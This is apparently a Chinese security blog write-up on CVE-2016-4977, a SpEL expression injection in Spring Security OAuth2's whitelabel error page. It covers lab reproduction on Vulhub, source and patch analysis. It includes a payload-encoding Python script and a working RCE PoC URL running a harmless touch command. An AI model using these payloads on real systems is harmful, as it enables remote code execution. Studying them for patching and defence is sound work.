0x01 Spring Security OAuth2

OAuth2

OAuth 2.0是用于授权的行业标准协议,核心思路是通过各类认证手段(具体什么手段OAuth 2.0不关心)认证用户身份,并颁发token,使得第三方应用可以使用该token在限定时间、限定范围内访问指定资源。OAuth 2.0致力于简化客户端开发人员的工作,同时为Web应用程序、桌面应用程序、移动电话和客厅设备提供特定的授权流程。

OAuth在”客户端”与”服务提供商”之间,设置了一个授权层(authorization layer)。”客户端”不能直接登录”服务提供商”,只能登录授权层,以此将用户与客户端区分开来。”客户端”登录授权层所用的令牌(token),与用户的密码不同。用户可以在登录的时候,指定授权层令牌的权限范围和有效期。

“客户端”登录授权层以后,”服务提供商”根据令牌的权限范围和有效期,向”客户端”开放用户储存的资料。

校验流程如图:

具体的讲解可参考:《理解OAuth 2.0》

Spring Security OAuth2

Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块,主要包含认证服务器和资源服务器这两大块的实现:

Spring Security OAuth2主要包含认证服务器和资源服务器这两大块的实现:

认证服务器主要包含了四种授权模式的实现和Token的生成与存储,我们也可以在认证服务器中自定义获取Token的方式;资源服务器主要是在Spring Security的过滤器链上加了OAuth2AuthenticationProcessingFilter过滤器,即使用OAuth2协议发放令牌认证的方式来保护我们的资源。

更多的参考官方文档即可。

0x02 CVE-2016-4977

在Spring Security OAuth2的漏洞版本中,当用户使用whitelabel views来处理错误时,由于使用了SpEL表达式,攻击者在被授权的情况下可以通过构造恶意参数来RCE。

影响版本

  • 2.0.0 to 2.0.9
  • 1.0.0 to 1.0.5

环境搭建

参考Vulhub:https://vulhub.org/#/environments/spring/CVE-2016-4977/

漏洞复现

访问如下链接,使用admin:admin登录:

1
2
3
http://your-ip:8080/oauth/authorize?response_type=${123*456}&client_id=acme&redirect_uri=http://test

http://your-ip:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${123*456}

在页面响应中会发现URL其中的参数的SpEL表达式会被解析,前面两个不同参数的注入在页面显示的报错信息也不一样:

1
2
3
error="unsupported_response_type", error_description="Unsupported response types: [56088]"

error="invalid_grant", error_description="Invalid redirect: 56088 does not match one of the registered values: [http://localhost]"

此时已证明是存在SpEL表达式注入漏洞了。下面就进行漏洞利用。

注意,如果直接将对应的参数改为恶意的SpEL表达式来尝试执行某些命令的话会发现大多数不能成功,原因可参考:Java Runtime.getRuntime().exec() 的那些payloads

这里直接用P神的脚本,原理是会用ord()函数将命令中的每个字符转换为ASCII码,再通过字符串拼接以及调用toString()函数来实现命令还原:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

这里输入touch /tmp/mi1k7ea,生成如下内容:

1
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(116).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(55)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)))}

最后将该内容替换到前面URL的会被SpEL解析的参数中构造出最终的PoC:

1
http://your-ip:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(116).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(55)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)))}&client_id=acme&redirect_uri=http://test

访问后页面显示如下:

到后台发现命令成功执行:

漏洞分析

这里就不逐步调试分析了,直接看到关键的几个函数。

这里我们选择2.0.9版本的Spring Security Oauth的代码来分析。

由前面页面的显示知道,在Spring Security Oauth2中是使用了whitelabel views来处理错误的,而漏洞点正是出在这个错误的处理过程中。

接着我们找到对应的错误处理的源码路径:https://github.com/spring-projects/spring-security-oauth/blob/2.0.9.RELEASE/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/WhitelabelErrorEndpoint.java

看到WhitelabelErrorEndpoint类中,其含有一个handlerError()函数用于处理错误,这里会获取请求中的error,将其转换为OAuth2Exception类型,然后调用getSummary()函数来获取错误信息并进行HTML编码后赋值给errorSummary变量,将该变量put进model中,最后用SpelView()来渲染:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* Controller for displaying the error page for the authorization server.
*
* @author Dave Syer
*/
@FrameworkEndpoint
public class WhitelabelErrorEndpoint {

private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";

@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
Map<String, Object> model = new HashMap<String, Object>();
Object error = request.getAttribute("error");
// The error summary may contain malicious user input,
// it needs to be escaped to prevent XSS
String errorSummary;
if (error instanceof OAuth2Exception) {
OAuth2Exception oauthError = (OAuth2Exception) error;
errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
}
else {
errorSummary = "Unknown error";
}
model.put("errorSummary", errorSummary);
return new ModelAndView(new SpelView(ERROR), model);
}
}

这里errorSummary变量的值就是获取的我们输入的恶意参数的值即恶意SpEL表达式,此时errorSummary变量值为前面生成的PoC的内容即${T(java.lang.Runtime).getRuntime().exec(...)}

接着我们看下SpelView类的源码,路径为:https://github.com/spring-projects/spring-security-oauth/blob/2.0.9.RELEASE/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* Simple String template renderer.
*
*/
class SpelView implements View {

...

public SpelView(String template) {
this.template = template;
this.context.addPropertyAccessor(new MapAccessor());
this.helper = new PropertyPlaceholderHelper("${", "}");
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = parser.parseExpression(name);
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}

...

public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
throws Exception {
...
String result = helper.replacePlaceholders(template, resolver);
...
}

}

看到以下两个函数:

  • 在SpelView类的构造函数中,传参是赋值给了template属性即模板,helper属性是PropertyPlaceholderHelper类型、其中的两个传参分别是包括表达式字符串的前缀和后缀字符串,resolver属性是规定了如何解析这个错误信息、这里看到是定义了resolvePlaceholder()函数,该函数是将传参定义为Expression类型的表达式,再调用expression.getValue(context),这就是SpEL表达式解析的地方,也是漏洞最后执行的地方。
  • 在render()函数中,负责渲染页面,这里会调用replacePlaceholders()函数来使用resolver属性作为解析器、template属性作为模板进行页面的解析渲染。

在前面的ModelAndView类的构造函数中使用SpelView类来渲染页面,必然会调用到render()函数,而该函数调用了replacePlaceholders()函数。我们跟进该函数看看,路径为:https://github.com/spring-projects/spring-framework/blob/v4.1.4.RELEASE/spring-core/src/main/java/org/springframework/util/PropertyPlaceholderHelper.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* Replaces all placeholders of format {@code ${name}} with the value returned
* from the supplied {@link PlaceholderResolver}.
* @param value the value containing the placeholders to be replaced
* @param placeholderResolver the {@code PlaceholderResolver} to use for replacement
* @return the supplied value with placeholders replaced inline
*/
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}

protected String parseStringValue(
String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {

...
// Recursive invocation, parsing placeholders contained in the placeholder key.
placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
// Now obtain the value for the fully resolved key...
String propVal = placeholderResolver.resolvePlaceholder(placeholder);
...

看到replacePlaceholders()函数中是直接调用了parseStringValue()函数来进一步解析;在parseStringValue()函数中,递归调用了自身以获取前面SpelView类实例helper属性的前缀和后缀字符串括起来的内容并赋值给placeholder变量,接着就调用了SpelView类实例resolver属性的resolvePlaceholder()函数来解析这个placeholder变量值即我们输入的恶意SpEL表达式,从而在resolvePlaceholder()函数中调用了expression.getValue(context)导致SpEL表达式注入漏洞的触发。

补丁分析

看下2.0.10版本的补丁怎么打的:https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d#diff-1490000798a5128b354afb04c352773a

可以看到在第一次执行表达式之前程序将$替换成了由RandomValueStringGenerator().generate()生成的随机字符串,也就是${errorSummary} -> random{errorSummary},但是这个替换不是递归的,所以${2334-1}并没有变。

然后创建了一个helper使程序取random{}中的内容作为表达式,这样就使得errorSummary被作为表达式执行了,而${2334-1}因为不符合random{}这个形式所以没有被当作表达式,从而也就没有办法被执行了。

不过这个Patch有一个缺点:RandomValueStringGenerator生成的字符串虽然内容随机,但长度固定为6,所以存在暴力破解的可能性。

0x03 参考

Spring Security OAuth RCE (CVE-2016-4977) 漏洞分析